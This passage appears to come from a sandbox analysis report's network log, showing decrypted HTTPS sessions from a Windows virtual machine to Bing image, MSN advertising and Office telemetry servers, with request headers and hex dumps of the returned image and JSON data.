f5 ab 95 8b a2 b4 79 47 60 0f cb b8 a9 e4 d2 b4 5b bd ec 35 78 c5 2b 1e cf f1 32 d2 f1 e1 d1 5d ec e5 5d d7 71 c8 df ec 81 d7 Data Ascii: Fk*Wl4Sq]9MiVm>QU\|9ir{9&I.MF[8dSFUYY#lheW-{:n{-BXi"WZsz/k[NI$p]7!k\|1kKWk!#bif!kxyG`[5x+2]]q
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 95 a4 93 b3 01 e8 7a d7 44 21 a3 5b b3 39 68 fb 12 eb 96 f6 da 4e a1 04 76 57 9e 64 b1 4b e7 c5 27 f1 48 08 07 e6 3d 8f 06 b6 34 a3 e2 8f 11 c3 78 2d ef 2d 16 26 6f 32 49 6e 72 db 9f ae d0 47 46 fa d6 44 76 11 de de 39 92 fb 75 bc 16 91 f9 77 2b 1f ca c7 1c 93 e9 83 5d 17 87 e5 d2 34 f8 6c f4 7b 6d 63 cd f3 67 12 4a d1 46 7e 69 08 c6 37 7a 62 b4 a7 7d 35 22 76 5d 0f 4e d2 6e 74 eb 7b 3b 1d 3a 59 f7 5d f9 0b f2 b2 95 dc 40 f9 88 ad 04 78 17 f8 57 fd aa e4 fe 1b 9b 6f 18 c9 17 8a e2 fd d5 be 99 77 75 67 69 1c 79 65 b8 c7 c8 ec d9 e9 86 1c 57 72 b6 f1 2f f0 d7 e8 38 1a b5 25 41 39 ab 76 f4 3e 2f 17 49 46 b4 94 19 51 ae 23 0b c7 4a 85 ee 80 ab ef 04 72 49 fd dd b4 d9 ac 61 2b f7 76 d7 5a 94 4e 57 09 b3 3d af 31 d2 95 6f 10 fd f5 6a 95 ad 46 ea 89 a1 0a d8 db Data Ascii: zD![9hNvWdK'H=4x--&o2InrGFDv9uw+]4l{mcgJF~i7zb}5"v]Nnt{;:Y]@xWowugiyeWr/8%A9v>/IFQ#JrIa+vZNW=1ojF
2024-11-26 15:31:15 UTC	16065	IN	Data Raw: 9b 8e a4 e2 92 4b 41 1c 32 47 03 33 2e df ee ed 65 23 a8 aa b7 10 20 85 6e 64 fb 4b 49 12 fe ef cb 8f 6a a8 3e e2 a5 ca ec 51 5a 92 eb 96 d2 db dc 79 69 b5 ae 22 52 5b 6f cd b8 9e 40 f7 ac ed 54 59 5b 6b 1f e8 13 ac a2 4b 60 7e 65 1b 56 42 3e 65 1d b1 42 de 5f c5 6f 3d d4 53 b4 93 45 24 6e ad 27 cc aa 33 8c 7d 6a 7d 4a 24 ba 68 e5 75 58 8e e0 7f 77 85 dd 57 16 9a d3 60 69 1e 63 e2 69 24 93 c4 4b 6e 1b f7 8d 26 ff 00 bb f7 70 3a 56 cf 89 e3 8f ed 56 db e0 56 13 c1 19 6f 97 6e d3 d3 1f 98 cd 49 e3 2d 30 58 78 9a 42 19 65 5b 98 01 9f 72 fc ec e4 9f 96 b3 a1 d3 fc 8b a5 f2 b6 f9 77 5c 34 72 b3 b6 dc fe 06 bb 25 26 f5 b9 ce 96 e8 9f ec 9a 75 af 86 ee 8d bc 1f bd 8e 45 46 7f 2c ae e7 6c 9d dd 4e 30 a3 a5 72 5e 20 b7 92 e1 56 48 a7 91 a6 66 c4 9e 64 9b 96 40 3d Data Ascii: KA2G3.e# ndKIj>QZyi"R[o@TY[kK`~eVB>eB_o=SE$n'3}j}J$huXwW`ici$Kn&p:VVVonI-0XxBe[rw\4r%&uEF,lN0r^ VHfd@=
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: c5 61 6f f6 69 23 8b 01 65 59 37 3a c8 7f bc 4f 6a cf d0 ef b5 7b 0b ed 42 7d 51 7c a5 f2 8f 95 1c 8c 36 c9 8e ca be 9b a9 de 3e b8 f3 b5 45 80 ed b7 6b 49 cb cb 3a af ca d8 c0 c8 ce 73 59 7a 7d e4 fa 85 f3 46 97 3f 69 8b fd 5c 6d 24 61 a6 62 79 07 ff 00 d5 5b c5 7b bb 0e c5 a8 58 4d ab 2d e6 a0 df 6a 5d a2 35 8e 5c 6d 84 9e 72 17 f8 45 7a 5f 84 33 67 e0 d8 f7 ea 6a d7 32 37 ef 16 08 36 c7 b0 74 ce 3a 8a f2 cf 12 48 96 97 51 cb 35 f4 11 cc d1 ec 68 15 4e e5 1d b3 ee 6b d2 d7 49 8d fc 27 15 dd 84 f0 4f 35 d4 6b ba e6 35 da ac 3a f1 9f a5 0e e1 a6 85 3d 2f 4d bb b1 d7 27 fb 06 8b 69 2d c4 8d e7 4b 2c 6d bf e4 3d 95 88 1b 6b ad 8c 41 77 a3 c7 1d 97 99 15 aa a9 92 55 91 4f ef 09 fe f7 ae 2b 21 2f a4 81 67 bf 2e df ea 82 49 1a c7 b5 18 0f ee fb d6 bd 84 85 f4 Data Ascii: aoi#eY7:Oj{B}Q\|6>EkI:sYz}F?i\m$aby[{XM-j]5\mrEz_3gj276t:HQ5hNkI'O5k5:=/M'i-K,m=kAwUO+!/g.I
2024-11-26 15:31:16 UTC	16384	IN	Data Raw: d2 fd 9a 49 60 b9 5f 32 36 56 75 55 19 fe 2c 73 f8 1a 85 74 e8 e3 b8 93 cf b1 8f 6a b0 f2 f6 e1 95 7d 73 81 fa d4 be 20 1a af 93 05 86 8f 3c 71 45 24 65 d5 99 87 cc 7d 0f b0 aa bd dd 90 b6 47 9b f8 9b c5 32 8d 4a 4b 0d 57 41 82 5d b3 e6 da 35 91 d5 76 0e 8c 54 1c 31 22 bb 2f f8 49 ec 2c bc 3f 6b 73 2d 9d dc 11 b7 0a b1 30 f9 46 3a 30 e3 22 b2 34 8b 2f 12 c9 70 b7 17 16 cd 98 24 22 4b 96 64 74 6f 5e 36 e7 1f 43 56 b5 0d 37 5d 96 f3 c8 b3 97 ed 92 b4 81 f6 c9 6d 1b 5b c2 9d 87 3f c5 5a d4 97 be bc 82 2b dd b3 2d a6 b3 a2 6b 16 b2 59 47 05 ce 6e 9b 0a db 86 ec ff 00 b5 db 8a e8 3c 43 a2 dc 5a 78 7e db 31 41 1d bf cb 1a af 94 19 fa 60 6d 03 8a ab e1 7d 3b 51 92 69 6d b5 3b 1b 48 04 8c 0a ed 51 1e dc 7b af ad 6a 6b 1a 6c f1 d8 f9 96 73 f9 12 c7 26 7f 77 21 77 Data Ascii: I`_26VuU,stj}s <qE$e}G2JKWA]5vT1"/I,?ks-0F:0"4/p$"Kdto^6CV7]m[?Z+-kYGn<CZx~1A`m};Qim;HQ{jkls&w!w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49728	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:14 UTC	346	OUT	GET /th?id=OADD2.10239360172384_1T8ZHTG4V2CH7K983&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:15 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 482575 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 221E2F9668BF4EDBA2ACFEB214E9F963 Ref B: EWR311000108009 Ref C: 2024-11-26T15:31:15Z Date: Tue, 26 Nov 2024 15:31:14 GMT Connection: close
2024-11-26 15:31:15 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 30 35 3a 31 33 20 31 38 3a 34 34 3a 34 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:05:13 18:44:418C
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 2d b4 6d a9 76 d1 8c d1 71 f2 91 ed c5 0a b5 2e dc d3 b6 52 bd 87 ca c8 36 51 b6 a5 d9 9e 69 76 d1 7b 07 29 12 ad 1b 6a 6d b4 8c b4 68 1c ac 87 6d 2a ad 4a ab 46 ca 34 0e 52 26 5c 52 2a d4 db 7f ef aa 36 50 1c a4 58 f6 a4 c6 5a a7 65 f9 69 bb 3b d1 74 3b 11 e3 da 8d a0 d4 db 68 d9 45 d0 58 83 6e 29 ca 95 2e da 4d b4 0f 95 11 6d a3 6e 2a 65 4c d1 b3 be 29 5d 07 29 16 de f4 6d a9 76 d2 aa 66 8b a0 e5 20 d9 4a ab 52 ed a3 6d 17 05 12 2c 7a 51 b6 a5 db 4b b7 34 5c 39 48 76 d2 ed a9 15 7e 6a 5d b4 73 0f 94 8b 6d 1b 6a 5d b4 aa 94 73 07 29 12 8a 5c 7b 54 bb 45 0c a2 93 63 22 d9 9a 36 54 aa 9f 2f 5a 15 28 e6 0e 52 2d 94 32 d4 cc 94 d6 42 28 e6 17 29 16 ca 2a 7d 9d f3 45 1c cc 39 4e 4d 47 6a 5c 7c b5 36 c6 34 2a fa 57 5d cf 3b 95 91 2a e2 95 52 a5 d9 8a 55 5c 52 Data Ascii: -mvq.R6Qiv{)jmhmJF4R&\R6PXZei;t;hEXn).MmneL)])mvf JRm,zQK4\9Hv~j]smj]s)\{TEc"6T/Z(R-2B()}E9NMGj\\|64W];RU\R
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 4d 5e 3b ab 58 84 6d fb e8 95 92 79 24 b6 fa 64 ff 00 b1 9f 6a 9d b5 a8 21 b6 96 e6 49 db ec f1 44 46 d5 5f 9d 87 18 6c f5 ac e4 db 7a 9b 46 31 4b 63 4e 31 29 b8 f3 3c c8 d0 b6 37 ed fa e7 8a b2 d3 19 76 b9 66 59 17 8d bb be 56 ae 62 1f 10 d8 48 aa 2c 16 59 cd c2 06 96 58 d4 a2 c7 cf f0 ee ea c7 a5 5c 93 58 86 35 93 6f cb e5 f1 13 33 02 d9 6e a7 1e a3 b5 4e bd 47 ee b5 74 74 3f 30 8b 3f 78 ff 00 7b 77 14 d7 98 88 d6 32 cc 83 fb fb bf cf 15 cd 4d e2 0b 73 71 6d 19 95 55 6e 24 c3 6e 5f f5 80 77 3d be 9e a6 a1 b9 f1 1d 94 b6 bf e8 f7 2b 0d ba f2 b2 37 ca 30 0e 3a 9f 53 54 9b ec 2b 47 ab 3a 77 99 da 4f 30 ed da bc 32 ee cf eb da a2 79 24 32 32 bf fa be 3c b6 fe a6 b9 77 f1 6e 97 a7 5d 79 ed 15 cf d9 99 18 4b 3f df 56 2b df 68 e8 0d 5d 6f 12 d8 4f 34 48 96 d2 Data Ascii: M^;Xmy$dj!IDF_lzF1KcN1)<7vfYVbH,YX\X5o3nNGtt?0?x{w2MsqmUn$n_w=+70:ST+G:wO02y$22<wn]yK?V+h]oO4H
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 15 dd 5e 69 f6 8b 27 99 75 17 99 f3 79 73 33 48 9f 2b b7 20 37 f7 7e 95 90 da 65 b3 5c 35 99 be 83 ce 65 3e 5c 5b 46 ee 3a 8f f3 d2 ba 69 72 c6 36 47 15 68 ce 52 bb 67 1b 26 f1 23 11 f3 1d c7 fd 6b 6e 1f d7 a0 ed e9 44 d7 11 c5 1b 34 70 33 47 e6 7c db 7e 56 6f 4c 7f 8d 6c 5c f8 7a 29 b5 29 c4 77 31 b1 b6 65 f3 e2 58 ca b4 7b ba 0c 8e 84 d5 67 d1 d2 2d 42 4b 4f 97 74 4c 43 2f de 6c 8e 78 c1 ec 2b 67 63 9f 96 44 36 f7 72 41 1c 72 a7 da d6 29 72 5a 39 3e 65 cf 7f 7d de 86 ab dc 6a 66 76 54 1b a3 56 5f bb 1a 85 f3 38 e0 55 8d 4b 4e 8a 4b 78 e4 fb 64 6c 56 43 1c 9b 5b e6 5f 4a a6 9a 12 43 37 9a 62 dc 19 88 8d bf 8b 20 ff 00 7b 3d 6b 0e 55 ab 35 72 9e c4 96 d7 6e 97 1e 62 2b 37 98 a0 6c 5f f9 66 31 8e 3d fe b5 7b 42 96 e5 ae bc ab 99 6e 6d a3 8f ef 49 b8 7c c0 Data Ascii: ^i'uys3H+ 7~e\5e>\[F:ir6GhRg&#knD4p3G\|~VoLl\z))w1eX{g-BKOtLC/lx+gcD6rAr)rZ9>e}jfvTV_8UKNKxdlVC[_JC7b {=kU5rnb+7l_f1={BnmI\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49724	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:14 UTC	375	OUT	GET /th?id=OADD2.10239400770770_1MCFSTMB54OFKADW1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-26 15:31:15 UTC	855	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 1000287 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8BC3FC9E897E43048FE21F975FC11FBA Ref B: EWR30EDGE0806 Ref C: 2024-11-26T15:31:15Z Date: Tue, 26 Nov 2024 15:31:15 GMT Connection: close
2024-11-26 15:31:15 UTC	15529	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 04 04 04 04 05 09 06 05 05 05 05 0b 08 08 06 09 0d 0b 0d 0d 0d 0b 0c 0c 0e 10 14 11 0e 0f 13 0f 0c 0c 12 18 12 13 15 16 17 17 17 0e 11 19 1b 19 16 1a 14 16 17 16 ff db 00 43 01 04 04 04 05 05 05 0a 06 06 0a 16 0f 0c 0f 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 16 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFCC8"}!1AQa"q2
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 4e de ba 7c b5 d3 f0 3e 51 f1 1f 87 b5 1f 0f 49 1d c5 e6 98 fa 1f db ce fb 4b 2b dd c6 64 8f b8 76 3c e0 71 b5 bf 8c 67 a1 04 55 26 bd 00 ac 65 8c e4 1e 1d 23 08 bf 55 1d 4f 7e 4d 7a 9f ed 0b e1 a8 20 0f 73 8d 42 e3 59 b8 9c 5c 5e 08 e3 9d e1 8a d1 14 ee 65 67 50 88 17 2a c7 a1 6c 9f 5a f1 71 23 5b 5d f9 33 27 31 b0 ca c6 3f d6 0e bc 1e a1 58 63 04 7a fb 62 bf 42 ca f1 0b 1d 86 8d 57 bf f5 b5 ee ed e7 7d 77 f2 5e 15 68 a8 4a c7 57 a5 ab 34 4a f2 dc bc 2a cd 8d 96 e0 3c bf ef 7b 2f ae 3f 0e d5 a7 6e b2 a4 2c 97 33 e9 d3 ed 82 43 f6 4b eb 79 26 8e 55 28 41 2a a0 8f 9c 64 15 76 23 0c 17 de b9 ed 27 51 4d df e8 f6 96 f6 3e 63 10 af 24 9b 8a e4 f6 1d 71 d3 92 6b 72 e1 60 9e 19 2d a3 bc 81 65 78 c1 85 9a 32 f0 34 9b 94 10 42 f2 70 09 c1 3f 2e 70 0f 5c d6 55 e1 Data Ascii: N\|>QIK+dv<qgU&e#UO~Mz sBY\^egPlZq#[]3'1?XczbBW}w^hJW4J<{/?n,3CKy&U(A*dv#'QM>c$qkr`-ex24Bp?.p\U
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: d3 6e a6 67 b6 9e f6 37 f2 98 49 c9 91 19 5c 96 62 40 f5 07 04 92 48 cd 78 50 f6 12 72 8d 54 b5 b6 ef 5b ab b4 d5 f4 be bd 1d f4 bd ee 7a 13 a9 2e 58 ff 00 5a 69 fd 6d f8 16 62 d5 74 ed 53 49 6b b6 b3 d0 a6 86 d6 75 8d 5f 54 42 9e 59 62 db 23 99 0e d7 38 c1 4f 30 1c 12 a3 76 33 cd 7d 43 c2 c6 33 24 09 6a 96 f3 c8 44 d7 76 4b 79 02 c6 62 5f 98 fd 96 46 26 55 90 29 3f 2b 8e 41 e8 c3 9a c0 6b 1b 39 6e 03 5b cd 6b 6f 73 1c 6c 27 b2 d3 e4 2c d7 03 6e 18 8d db 8e fe 41 1f 4c 1a bf a0 f8 cb 4e d1 ef 24 d2 75 0d 1d b5 65 8a dd 2d a4 8f 59 b4 fb 35 c5 b1 0a 70 61 b8 53 ba 16 46 c1 45 70 57 9c 11 81 5d 4f 0f 56 09 bc 35 df 5b 7f 4d 2f 9e 8b cd 59 98 37 09 2f 7b fa fd 4c 8b 5b 4d 02 6b 4d 46 e9 a6 56 b8 b1 74 36 5a 65 fc 4c 26 ba 46 62 09 47 4c 05 78 c6 d6 20 f5 fd Data Ascii: ng7I\b@HxPrT[z.XZimbtSIku_TBYb#8O0v3}C3$jDvKyb_F&U)?+Ak9n[kosl',nALN$ue-Y5paSFEpW]OV5[M/Y7/{L[MkMFVt6ZeL&FbGLx
2024-11-26 15:31:15 UTC	16384	IN	Data Raw: 82 4b 28 2a 48 e0 8e 33 f2 8f 5a ac 5f 34 f0 cd 2d 5b 5b 69 77 f7 e9 a9 ac 6d cd 7e 87 55 f1 00 42 b7 6b a9 da d9 5b 47 34 9b 5a 45 6b 85 92 16 cf 06 44 9d 1f 96 2d 9c 87 50 c4 1e bc 56 44 5a 7b de e9 77 50 6a be 29 87 48 dd 1f 9c b0 89 6d da 12 02 65 37 90 e6 50 3c cc 0c e3 80 72 31 82 2a 5f 88 76 9a 2d cd 8d bc 96 13 68 7a a5 a4 c7 68 ba 86 da 08 ae e4 97 3c 3b 38 61 b9 4f 00 e5 14 f2 37 00 46 6b 1a 0d 3b fb 32 f2 33 25 ce 83 a5 cd 9f 94 f9 f6 8c f1 8e bb ba 91 9f af a5 79 98 58 af ab c6 d2 b4 97 75 ae 9e b7 7a 7f 85 b3 a2 a4 b9 6a dd ab a3 5f e1 c5 ec fa 9e bd 11 d7 f5 3d 2a ee da ea 7f b0 ac d7 4d f6 89 a2 56 55 f3 12 de 25 18 59 24 1b 42 c8 bd 58 12 32 c4 d7 23 ad 69 36 b2 f8 f2 fa 3d 1f 47 b8 8e d6 cf 52 92 25 b1 81 a4 9a 50 a8 33 b1 5d 87 ce 40 42 Data Ascii: K(H3Z_4-[[iwm~UBk[G4ZEkD-PVDZ{wPj)Hme7P<r1_v-hzh<;8aO7Fk;23%yXuzj_=*MVU%Y$BX2#i6=GR%P3]@B

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49723	20.223.36.55	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:14 UTC	2610	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241126T153112Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=46e2b0e903a04969a760af43127e2817&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=602473&metered=false&nettype=ethernet&npid=sc-280815&oemName=VMware%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=VMware20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=602473&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waas [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=128000000001627409&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZ1hoi1TzaYpzVzVd+YEO56cZ06MOdgqXgXAos1MJlN20gETlA48eLOMymFJLsl3BR1xoa0l1AqAc1pL5sh92Wgv6yvNuk1kRRInCLjTHwSOB+mN4vbAGUcSb2inNrqBd6MrjdXVkRBeP9lXgilXe2QNa1DQCAM3N2SEx7JT5JOBvnF2NZjoOYwIm+8ouLgbnZrw8Z8oab5XNr1HLO65qqsvrynoNCHPogROjeI7uCNqb4bGLh6mXzcbfXd/B+iLou/WeT0DyeHD7YG8I/ToyDfN3baS69B6WQAwym8CSQ4ZGFVnHigaFfNozHq/m68FrSCq9Xv8TsYixg0Dz4ydktUQZgAAEBDtgiZRMx/Tgqy+mRRqYdmwAQ+0uyQ1ZF1E46U1ViVuoYlHgmEZfw9+BKZgJW41XjnxSrfEL7QTf+WdsmMa1hYFEJVShV3v+8OPaaCC+bPsUYzcaxkRJlns7i9r4Zh/H2hGBaGHpbTWbjMFYBKmFiVinYcosVV6FUDTpuF8I3r/+K5/dXXWbpu2FZ/LoqVBfJd5KbVz3JID2xH/KlolYAuYxWnxDEeCdhp6w6ZjyiPJst4jrsQI8T1cuEdqWqH/ML1OQGOzBBKDUYVAp7iosekWNSfZF+ysBMvgPPguxFTkyYkULo1G8hx5xLE0qN3XikC/LSFeiXH7q6cuFv3YpdwmLa9aXqrVAeWMAaQ1k7ZcD4tYVay7BCfrwZ3hu8U/ZWNwegHyBLMz32b2JXtCp8kc7dzknTJCfKycGCMiKX+s0JPnLVGp+2FAn9aNmHDKDOimtVpc4xsPvCfDeXJDANCOQapQ1ffYR5ycrCfpFe1ejnR07K0rfcxzXBQuicHjpWEzIlZeKXYtGpIAxey70/Jy0aKxeC0b2M+qF/U7Fey5VK9kv1cwudrC5JBXPolZB75gslaXq3ivS8C3s/UzoXh+8tcB&p= Cache-Control: no-cache MS-CV: 3Vm+Jn6XVk6c/Y5v.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-26 15:31:15 UTC	955	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2968 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T1-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"65792"},{"REGIONALPOLICY":"1"}] X-ARC-SIG: VAFmdKDHwz3J0NVNm35s6rNWAPr98EU0Dddyg+bRNxRlx/KfKmelkh3ivWi+Z2HdqXxZrSpudh8bUFaF8DnTOD3RPmtFOtIufGjdhMH9VuHtEooG/hiv2rqA5A/YddeBvCdJxlefrWF+apDlqGba4+fkeJVyHxaOiZwt2AmT6HIEvRSyFM1pbhntdl+gNp/Jy62CQQIeLtbA6rYki8zs6cicmNwKkachPwrVlrj5Tdfw4SZPveP0wD7phK7LsjNHeN4MHVQBu2PgOYKZbQyfYLkAKIeeGTFf5vHZ4n4RCYJjS0t0CF/vV5iD2G3KerUfrI7DPCvyejaDNaXWY4VKvw== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 15:31:14 GMT Connection: close
2024-11-26 15:31:15 UTC	2968	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 15:31:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 15:31:17 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 15:31:16 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 25 Nov 2024 13:17:46 GMT ETag: "0x8DD0D538D5EA1E0" x-ms-request-id: f5f75198-101e-00a2-8091-3f9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T153116Z-174f7845968j6t2phC1EWRcfe80000000vr000000000ngn1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
